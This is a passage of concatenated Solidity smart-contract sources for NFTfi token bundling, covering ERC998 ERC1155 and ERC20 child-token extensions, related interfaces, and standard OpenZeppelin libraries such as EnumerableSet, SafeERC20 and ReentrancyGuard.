_childContract The ERC1155 contract of the child token * @param _childTokenId The tokenId of the child token */ function childBalance( uint256 _tokenId, address _childContract, uint256 _childTokenId ) external view override returns (uint256) { return balances[_tokenId][_childContract][_childTokenId]; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 _interfaceId) public view virtual override(ERC998TopDown, IERC165) returns (bool) { return _interfaceId == type(IERC998ERC1155TopDown).interfaceId || _interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(_interfaceId); } /** * @notice Transfer a ERC1155 child token from top-down composable to address or other top-down composable * @param _tokenId The owning token to transfer from * @param _to The address that receives the child token * @param _childContract The ERC1155 contract of the child token * @param _childTokenId The tokenId of the token that is being transferred * @param _amount The amount of the token that is being transferred * @param _data Additional data with no specified format */ function safeTransferChild( uint256 _tokenId, address _to, address _childContract, uint256 _childTokenId, uint256 _amount, bytes memory _data ) external override nonReentrant { _validateReceiver(_to); _validate1155ChildTransfer(_tokenId); _remove1155Child(_tokenId, _childContract, _childTokenId, _amount); if (_to == address(this)) { _validateAndReceive1155Child(msg.sender, _childContract, _childTokenId, _amount, _data); } else { IERC1155(_childContract).safeTransferFrom(address(this), _to, _childTokenId, _amount, _data); emit Transfer1155Child(_tokenId, _to, _childContract, _childTokenId, _amount); } } /** * @notice Transfer batch of ERC1155 child token from top-down composable to address or other top-down composable * @param _tokenId The owning token to transfer from * @param _to The address that receives the child token * @param _childContract The ERC1155 contract of the child token * @param _childTokenIds The list of tokenId of the token that is being transferred * @param _amounts The list of amount of the token that is being transferred * @param _data Additional data with no specified format */ function safeBatchTransferChild( uint256 _tokenId, address _to, address _childContract, uint256[] memory _childTokenIds, uint256[] memory _amounts, bytes memory _data ) external override nonReentrant { require(_childTokenIds.length == _amounts.length, "ids and amounts length mismatch"); _validateReceiver(_to); _validate1155ChildTransfer(_tokenId); for (uint256 i = 0; i < _childTokenIds.length; ++i) { uint256 childTokenId = _childTokenIds[i]; uint256 amount = _amounts[i]; _remove1155Child(_tokenId, _childContract, childTokenId, amount); if (_to == address(this)) { _validateAndReceive1155Child(msg.sender, _childContract, childTokenId, amount, _data); } } if (_to != address(this)) { IERC1155(_childContract).safeBatchTransferFrom(address(this), _to, _childTokenIds, _amounts, _data); emit Transfer1155BatchChild(_tokenId, _to, _childContract, _childTokenIds, _amounts); } } /** * @notice A token receives a child token */ function onERC1155Received( address, address, uint256, uint256, bytes memory ) external virtual override returns (bytes4) { revert("external calls restricted"); } /** * @notice A token receives a batch of child tokens * param The address that caused the transfer * @param _from The owner of the child token * @param _ids The list of token id that is being transferred to the parent * @param _values The list of amounts of the tokens that is being transferred * @param _data Up to the first 32 bytes contains an integer which is the receiving parent tokenId * @return the selector of this method */ function onERC1155BatchReceived( address, address _from, uint256[] memory _ids, uint256[] memory _values, bytes memory _data ) external virtual override nonReentrant returns (bytes4) { require(_data.length == 32, "data must contain tokenId to transfer the child token to"); uint256 _receiverTokenId = _parseTokenId(_data); for (uint256 i = 0; i < _ids.length; i++) { _receive1155Child(_receiverTokenId, msg.sender, _ids[i], _values[i]); emit Received1155Child(_from, _receiverTokenId, msg.sender, _ids[i], _values[i]); } return this.onERC1155BatchReceived.selector; } /** * @dev Validates the data of the child token and receives it * @param _from The owner of the child token * @param _childContract The ERC1155 contract of the child token * @param _id The token id that is being transferred to the parent * @param _amount The amount of the token that is being transferred * @param _data Up to the first 32 bytes contains an integer which is the receiving parent tokenId */ function _validateAndReceive1155Child( address _from, address _childContract, uint256 _id, uint256 _amount, bytes memory _data ) internal virtual { require(_data.length == 32, "data must contain tokenId to transfer the child token to"); uint256 _receiverTokenId = _parseTokenId(_data); _receive1155Child(_receiverTokenId, _childContract, _id, _amount); emit Received1155Child(_from, _receiverTokenId, _childContract, _id, _amount); } /** * @dev Updates the state to receive a child * @param _tokenId The token receiving the child * @param _childContract The ERC1155 contract of the child token * @param _childTokenId The token id that is being transferred to the parent * @param _amount The amount of the token that is being transferred */ function _receive1155Child( uint256 _tokenId, address _childContract, uint256 _childTokenId, uint256 _amount ) internal virtual { require(_exists(_tokenId), "bundle tokenId does not exist"); uint256 childTokensLength = childTokens[_tokenId][_childContract].length(); if (childTokensLength == 0) { childContracts[_tokenId].add(_childContract); } childTokens[_tokenId][_childContract].add(_childTokenId); balances[_tokenId][_childContract][_childTokenId] += _amount; } /** * @notice Validates the transfer of a 1155 child * @param _fromTokenId The owning token to transfer from */ function _validate1155ChildTransfer(uint256 _fromTokenId) internal virtual { _validateTransferSender(_fromTokenId); } /** * @notice Updates the state to remove a ERC1155 child * @param _tokenId The owning token to transfer from * @param _childContract The ERC1155 contract of the child token * @param _childTokenId The tokenId of the token that is being transferred * @param _amount The amount of the token that is being transferred */ function _remove1155Child( uint256 _tokenId, address _childContract, uint256 _childTokenId, uint256 _amount ) internal virtual { require( _amount != 0 && balances[_tokenId][_childContract][_childTokenId] >= _amount, "insufficient child balance for transfer" ); balances[_tokenId][_childContract][_childTokenId] -= _amount; if (balances[_tokenId][_childContract][_childTokenId] == 0) { // remove child token childTokens[_tokenId][_childContract].remove(_childTokenId); // remove contract if (childTokens[_tokenId][_childContract].length() == 0) { childContracts[_tokenId].remove(_childContract); } } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import "./ERC998TopDown.sol"; import "../interfaces/IERC998ERC20TopDown.sol"; import "../interfaces/IERC998ERC20TopDownEnumerable.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol"; /** * @title ERC998ERC20Extension * @author NFTfi * @dev ERC998TopDown extension to support ERC20 children */ abstract contract ERC998ERC20Extension is ERC998TopDown, IERC998ERC20TopDown, IERC998ERC20TopDownEnumerable { using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; // tokenId => ERC20 child contract mapping(uint256 => EnumerableSet.AddressSet) internal erc20ChildContracts; // tokenId => (token contract => balance) mapping(uint256 => mapping(address => uint256)) internal erc20Balances; /** * @dev Look up the balance of ERC20 tokens for a specific token and ERC20 contract * @param _tokenId The token that owns the ERC20 tokens * @param _erc20Contract The ERC20 contract * @return The number of ERC20 tokens owned by a token */ function balanceOfERC20(uint256 _tokenId, address _erc20Contract) external view virtual override returns (uint256) { return erc20Balances[_tokenId][_erc20Contract]; } /** * @notice Get ERC20 contract by tokenId and index * @param _tokenId The parent token of ERC20 tokens * @param _index The index position of the child contract * @return childContract The contract found at the tokenId and index */ function erc20ContractByIndex(uint256 _tokenId, uint256 _index) external view virtual override returns (address) { return erc20ChildContracts[_tokenId].at(_index); } /** * @notice Get the total number of ERC20 tokens owned by tokenId * @param _tokenId The parent token of ERC20 tokens * @return uint256 The total number of ERC20 tokens */ function totalERC20Contracts(uint256 _tokenId) external view virtual override returns (uint256) { return erc20ChildContracts[_tokenId].length(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 _interfaceId) public view virtual override(ERC998TopDown) returns (bool) { return _interfaceId == type(IERC998ERC20TopDown).interfaceId || _interfaceId == type(IERC998ERC20TopDownEnumerable).interfaceId || super.supportsInterface(_interfaceId); } /** * @notice Transfer ERC20 tokens to address * @param _tokenId The token to transfer from * @param _to The address to send the ERC20 tokens to * @param _erc20Contract The ERC20 contract * @param _value The number of ERC20 tokens to transfer */ function transferERC20( uint256 _tokenId, address _to, address _erc20Contract, uint256 _value ) external virtual override { _validateERC20Value(_value); _validateReceiver(_to); _validateERC20Transfer(_tokenId); _removeERC20(_tokenId, _erc20Contract, _value); IERC20(_erc20Contract).safeTransfer(_to, _value); emit TransferERC20(_tokenId, _to, _erc20Contract, _value); } /** * @notice Get ERC20 tokens from ERC20 contract. * @dev This contract has to be approved first by _erc20Contract */ function getERC20( address, uint256, address, uint256 ) external pure override { revert("external calls restricted"); } /** * @notice NOT SUPPORTED * Intended to transfer ERC223 tokens. ERC223 tokens can be transferred as regular ERC20 */ function transferERC223( uint256, address, address, uint256, bytes calldata ) external virtual override { revert("TRANSFER_ERC223_NOT_SUPPORTED"); } /** * @notice NOT SUPPORTED * Intended to receive ERC223 tokens. ERC223 tokens can be deposited as regular ERC20 */ function tokenFallback( address, uint256, bytes calldata ) external virtual override { revert("TOKEN_FALLBACK_ERC223_NOT_SUPPORTED"); } /** * @notice Get ERC20 tokens from ERC20 contract. * @dev This contract has to be approved first by _erc20Contract * @param _from The current owner address of the ERC20 tokens that are being transferred. * @param _tokenId The token to transfer the ERC20 tokens to. * @param _erc20Contract The ERC20 token contract * @param _value The number of ERC20 tokens to transfer */ function _getERC20( address _from, uint256 _tokenId, address _erc20Contract, uint256 _value ) internal { _validateERC20Value(_value); _receiveErc20Child(_from, _tokenId, _erc20Contract, _value); IERC20(_erc20Contract).safeTransferFrom(_from, address(this), _value); } /** * @notice Validates the value of a ERC20 transfer * @param _value The number of ERC20 tokens to transfer */ function _validateERC20Value(uint256 _value) internal virtual { require(_value > 0, "zero amount"); } /** * @notice Validates the transfer of a ERC20 * @param _fromTokenId The owning token to transfer from */ function _validateERC20Transfer(uint256 _fromTokenId) internal virtual { _validateTransferSender(_fromTokenId); } /** * @notice Store data for the received ERC20 * @param _from The current owner address of the ERC20 tokens that are being transferred. * @param _tokenId The token to transfer the ERC20 tokens to. * @param _erc20Contract The ERC20 token contract * @param _value The number of ERC20 tokens to transfer */ function _receiveErc20Child( address _from, uint256 _tokenId, address _erc20Contract, uint256 _value ) internal virtual { require(_exists(_tokenId), "bundle tokenId does not exist"); uint256 erc20Balance = erc20Balances[_tokenId][_erc20Contract]; if (erc20Balance == 0) { erc20ChildContracts[_tokenId].add(_erc20Contract); } erc20Balances[_tokenId][_erc20Contract] += _value; emit ReceivedERC20(_from, _tokenId, _erc20Contract, _value); } /** * @notice Updates the state to remove ERC20 tokens * @param _tokenId The token to transfer from * @param _erc20Contract The ERC20 contract * @param _value The number of ERC20 tokens to transfer */ function _removeERC20( uint256 _tokenId, address _erc20Contract, uint256 _value ) internal virtual { uint256 erc20Balance = erc20Balances[_tokenId][_erc20Contract]; require(erc20Balance >= _value, "not enough token available to transfer"); uint256 newERC20Balance = erc20Balance - _value; erc20Balances[_tokenId][_erc20Contract] = newERC20Balance; if (newERC20Balance == 0) { erc20ChildContracts[_tokenId].remove(_erc20Contract); } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; /** * @title ContractKeys * @author NFTfi * @dev Common library for contract keys */ library ContractKeys { bytes32 public constant PERMITTED_ERC20S = bytes32("PERMITTED_ERC20S"); bytes32 public constant PERMITTED_NFTS = bytes32("PERMITTED_NFTS"); bytes32 public constant PERMITTED_PARTNERS = bytes32("PERMITTED_PARTNERS"); bytes32 public constant NFT_TYPE_REGISTRY = bytes32("NFT_TYPE_REGISTRY"); bytes32 public constant LOAN_REGISTRY = bytes32("LOAN_REGISTRY"); bytes32 public constant PERMITTED_SNFT_RECEIVER = bytes32("PERMITTED_SNFT_RECEIVER"); bytes32 public constant PERMITTED_BUNDLE_ERC20S = bytes32("PERMITTED_BUNDLE_ERC20S"); bytes32 public constant PERMITTED_AIRDROPS = bytes32("PERMITTED_AIRDROPS"); bytes32 public constant AIRDROP_RECEIVER = bytes32("AIRDROP_RECEIVER"); bytes32 public constant AIRDROP_FACTORY = bytes32("AIRDROP_FACTORY"); bytes32 public constant AIRDROP_FLASH_LOAN = bytes32("AIRDROP_FLASH_LOAN"); bytes32 public constant NFTFI_BUNDLER = bytes32("NFTFI_BUNDLER"); string public constant AIRDROP_WRAPPER_STRING = "AirdropWrapper"; /** * @notice Returns the bytes32 representation of a string * @param _key the string key * @return id bytes32 representation */ function getIdFromStringKey(string memory _key) external pure returns (bytes32 id) { require(bytes(_key).length <= 32, "invalid key"); // solhint-disable-next-line no-inline-assembly assembly { id := mload(add(_key, 32)) } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IBundleBuilder { /** * @notice data of a erc721 bundle element * * @param tokenContract - address of the token contract * @param id - id of the token * @param safeTransferable - wether the implementing token contract has a safeTransfer function or not */ struct BundleElementERC721 { address tokenContract; uint256 id; bool safeTransferable; } /** * @notice data of a erc20 bundle element * * @param tokenContract - address of the token contract * @param amount - amount of the token */ struct BundleElementERC20 { address tokenContract; uint256 amount; } /** * @notice data of a erc20 bundle element * * @param tokenContract - address of the token contract * @param ids - list of ids of the tokens * @param amounts - list amounts of the tokens */ struct BundleElementERC1155 { address tokenContract; uint256[] ids; uint256[] amounts; } /** * @notice the lists of erc721-20-1155 tokens that are to be bundled * * @param erc721s list of erc721 tokens * @param erc20s list of erc20 tokens * @param erc1155s list of erc1155 tokens */ struct BundleElements { BundleElementERC721[] erc721s; BundleElementERC20[] erc20s; BundleElementERC1155[] erc1155s; } /** * @notice used by the loan contract to build a bundle from the BundleElements struct at the beginning of a loan, * returns the id of the created bundle * * @param _bundleElements - the lists of erc721-20-1155 tokens that are to be bundled * @param _sender sender of the tokens in the bundle - the borrower * @param _receiver receiver of the created bundle, normally the loan contract */ function buildBundle( BundleElements memory _bundleElements, address _sender, address _receiver ) external returns (uint256); /** * @notice Remove all the children from the bundle * @dev This method may run out of gas if the list of children is too big. In that case, children can be removed * individually. * @param _tokenId the id of the bundle * @param _receiver address of the receiver of the children */ function decomposeBundle(uint256 _tokenId, address _receiver) external; } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "./IERC998ERC721TopDown.sol"; interface INftfiBundler is IERC721 { function safeMint(address _to) external returns (uint256); function decomposeBundle(uint256 _tokenId, address _receiver) external; } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; /** * @title INftfiHub * @author NFTfi * @dev NftfiHub interface */ interface INftfiHub { function setContract(string calldata _contractKey, address _contractAddress) external; function getContract(bytes32 _contractKey) external view returns (address); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IPermittedNFTs { function setNFTPermit(address _nftContract, string memory _nftType) external; function getNFTPermit(address _nftContract) external view returns (bytes32); function getNFTWrapper(address _nftContract) external view returns (address); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IPermittedERC20s { function getERC20Permit(address _erc20) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes 